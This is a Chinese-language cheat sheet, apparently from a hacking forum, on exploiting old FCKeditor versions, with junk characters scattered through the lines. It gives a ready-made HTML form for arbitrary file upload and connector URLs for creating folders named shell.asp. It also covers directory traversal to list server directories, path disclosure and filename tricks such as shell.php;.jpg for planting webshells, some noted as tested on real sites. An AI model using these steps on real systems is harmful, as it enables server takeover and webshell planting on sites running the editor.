Fckeditor漏洞利用总结 + R ~ k2 D6 H- v8 j3 {1 B0 c
查看编辑器版本; ~8 S2 ]* s5 S. |8 N7 A
FCKeditor/_whatsnew.html
7 P/ X5 @3 M' f! U7 L—————————————————————————————————————————————————————————————
1 [ K( W W1 L7 H# v( X, I8 V' S! f3 X, {- S
2. Version 2.2 版本5 y L; `. p& d7 g% D0 w8 M; }
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
c* k4 h! g' s' f5 g—————————————————————————————————————————————————————————————) Y- k c% Q- z6 \
6 Y4 w3 [5 V5 k) Y/ O( n! _7 k5 f3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。: Y9 n# E8 i1 I. v
<form id="frmUpload" enctype="multipart/form-data"
% x2 c( p" ?- \) W9 K" haction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
6 S6 ?3 H. k8 [$ s<input type="file" name="NewFile" size="50"><br>8 H$ L+ U$ W7 Y3 d; f7 j) Y$ \
<input id="btnUpload" type="submit" value="Upload">
3 P* L# |! O& E" x' B! K Z</form>
% t+ [) E1 v; n% z5 ^: u9 F( M—————————————————————————————————————————————————————————————3 E! V7 K2 h1 U; O+ Y
; S" ~; ?7 [% R4 N/ p; J1 H! t6 P; y4.FCKeditor 文件上传“.”变“_”下划线的绕过方法$ D9 Y. k# n6 j, t9 Z
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。8 X9 W6 g2 ]% C/ J: o% [
4.1:提交shell.php+空格绕过
Z# p9 Q$ L. p9 R# ?0 @不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。" I& ? ]* D* [; C2 i
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。: D3 _3 P8 \% g& g! ^, o. T
—————————————————————————————————————————————————————————————
+ r8 {: y$ R h( {5 g8 x& P H/ u: y: t0 L3 D+ s; a: [
5. 突破建立文件夹
. B$ V0 i2 `- VFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756842 a1 |' K* j4 L# P$ p) M. B
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp' I8 ?1 I1 M% d7 p
—————————————————————————————————————————————————————————————
& I& u0 ], O: m! |" b/ u. S L: K4 T+ W
6. FCKeditor 中test 文件的上传地址
+ U9 R. n% n+ M9 eFCKeditor/editor/filemanager/browser/default/connectors/test.html3 J6 `/ Y3 T3 M8 i- u. j
FCKeditor/editor/filemanager/upload/test.html
) N& S0 t Y- Z- T w) YFCKeditor/editor/filemanager/connectors/test.html
4 H, P# b3 g5 g- DFCKeditor/editor/filemanager/connectors/uploadtest.html
& C$ m' M5 g; d: m/ }—————————————————————————————————————————————————————————————3 A' R, w# ]( w; i( w
6 H; F6 `4 H6 W/ E2 Q# n9 C! C1 m
7.常用上传地址) h V! D# V0 t' M7 A2 t
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
6 L2 D7 D$ J5 B2 @- O) ?: TFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp$ P) E+ f% v# u* x V: _
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)+ v( Y9 e. {# c7 G5 T
JSP 版:% O( x4 s+ P4 g, m+ d
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp" u6 N; ?$ f5 r8 r3 N! k
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文) I7 l5 H3 X9 h& k( M0 |9 o
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。5 M: U c' z, d* \/ Y3 \
—————————————————————————————————————————————————————————————) O }' H6 {+ z& d' A3 i/ Y. J" h
. i" ?. B5 o1 e1 p8 ?4 E. I4 b
8.其他上传地址
x$ z+ `2 ~! p/ s' f, m6 KFCKeditor/_samples/default.html
3 n* s& d1 p2 [2 ^FCKeditor/_samples/asp/sample01.asp
7 a4 z6 Q P3 mFCKeditor/_samples/asp/sample02.asp
% _! V) @. l T; ]5 L+ MFCKeditor/_samples/asp/sample03.asp# N0 u4 w6 F+ V
FCKeditor/_samples/asp/sample04.asp* i; N7 U D) H
一般很多站点都已删除_samples 目录,可以试试。
8 X! o% g; `2 K: WFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
1 S- q- }$ V+ S' l! C—————————————————————————————————————————————————————————————. F5 t6 y7 i+ }7 L+ I
' ^& R% k) d' a( |* o4 Y
9.列目录漏洞也可助找上传地址6 k7 b) i& w% S# O9 R# o6 B
Version 2.4.1 测试通过
3 }2 M2 |3 M/ r/ J3 I9 p% c修改CurrentFolder 参数使用 ../../来进入不同的目录6 y; V; A! {& l% c" P' i' Y
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
' I0 W6 n! u+ L& c' U" l1 T根据返回的XML 信息可以查看网站所有的目录。- q& [" m' m- M6 i: j& `9 x+ v
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
* E+ Z; B, w' L2 q& |" I% s" @7 o- d2 Q也可以直接浏览盘符:% T3 L1 M' ?7 C2 Z, ~, a8 U6 R
JSP 版本:
3 Q) u4 _2 N* A1 @FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
. M1 m- h/ ]% ]( h9 c—————————————————————————————————————————————————————————————
' K5 |1 U& ~9 S% t$ z- P% z! E; D7 c3 [; c; p
10.爆路径漏洞
$ m1 i. V0 c. nFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp2 Y6 m$ |# [- { ^* k) d
—————————————————————————————————————————————————————————————
. a! B/ f+ C: \5 ^0 b: z* F# D0 i8 E% A. C9 i# @$ a5 x u
11. FCKeditor 被动限制策略所导致的过滤不严问题3 Z# T/ r& R7 \; r% b: T
影响版本: FCKeditor x.x <= FCKeditor v2.4.3; q; ?, _$ Q, z7 |6 ~1 K* E1 i& u
脆弱描述:; Z% P3 U, ?( a. g# }& E/ c
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:/ P+ V7 y3 j9 E; U! l
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm0 U; t) H) `& S
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!* o- k. k: b) ]4 d
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。9 f* h' L- C( B3 y6 c6 i) w
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
. a3 W7 @9 F9 j—————————————————————————————————————————————————————————————
* J5 [, c" g( s0 O; K3 _7 D$ D9 _" L# x9 W0 h# j" d: r3 v
12.最古老的漏洞,Type文件没有限制!
& Z `, v3 C* Q6 w1 F 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! % }$ c1 K# n4 H9 m8 Q G
—————————————————————————————————————————————————————————————
* j$ g, y" G9 n- j. D& D0 C% O2 O1 e1 K
===============================================================================================================================================% c2 B8 v8 l, i' r |
; M8 y% S }) M+ u7 N# X. \$ BFCK编辑器jsp版本漏洞:- x5 E1 q) t0 y! ?
6 |, k2 b5 B) f8 o, I$ i3 }0 D, O4 G0 N/ |" m$ m
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
R( W6 O) H; L I( P7 y8 d8 Y: O, K6 ^! Z/ A
上传马所在目录
3 L* m5 w! E" O {4 M jFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/! a% u& r: }/ S
上传shell的地址:& s% X1 A$ R4 L
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
5 `: Y- P1 k4 K! M跟版本有关系.并不是百分百成功. 测试成功几个站.
. p) q0 m5 u' [$ o! U) Z, U: s' H不能通杀.很遗憾.. B5 R8 Q1 h W7 k
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
* B! x) M9 g- D& H! b如果以上地址不行可以试试
2 p' I' o9 `& O* T% Y; `/ ZFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector4 E- k! M; R+ _2 O
FCKeditor/_samples/
( O+ ?% I0 q: R7 uFCKeditor/_samples/default.html6 w/ b5 o- U5 G$ j4 p
FCKeditor/editor/fckeditor.htm/ s5 @+ F' b1 c5 f9 v9 j
FCKeditor/editor/fckdialog.html
5 C, {) Z4 k0 P$ N: j- j! T$ x
1 v) L, C4 y W' @" _. ^ n+ v* P
* r. B1 |4 M& G; j u( w解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
" I6 G# F0 Y, {3 C E |